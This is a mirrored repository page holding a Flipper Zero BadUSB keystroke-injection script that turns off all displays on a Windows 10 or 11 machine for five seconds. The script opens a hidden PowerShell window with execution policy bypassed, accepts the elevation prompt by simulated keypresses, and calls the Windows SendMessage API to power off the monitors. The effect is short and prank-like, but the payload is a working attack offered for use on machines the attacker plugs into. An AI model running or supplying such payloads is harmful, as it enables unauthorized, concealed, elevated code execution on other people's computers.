mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-31 07:00:51 -08:00
21 lines
608 B
Plaintext
21 lines
608 B
Plaintext
REM Title: 5 Second Display Kill
|
|
REM Author: @beigeworm | https://github.com/beigeworm
|
|
REM Description: Uses Powershell to kill all displays for a short period of time.
|
|
REM Target: Windows 10,11
|
|
|
|
|
|
DEFAULT_DELAY 100
|
|
|
|
REM open powershell (remove -W Hidden to show the window)
|
|
GUI r
|
|
DELAY 750
|
|
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
|
|
CTRL-SHIFT ENTER
|
|
DELAY 1500
|
|
ALT y
|
|
DELAY 5000
|
|
|
|
STRING (Add-Type '[DllImport("user32.dll")]public static extern int SendMessage
|
|
STRING (int hWnd, int hMsg, int wParam, int lParam);' -Name a -Pas)::SendMessage(-1,0x0112,0xF170,2);sleep 5;exit
|
|
ENTER
|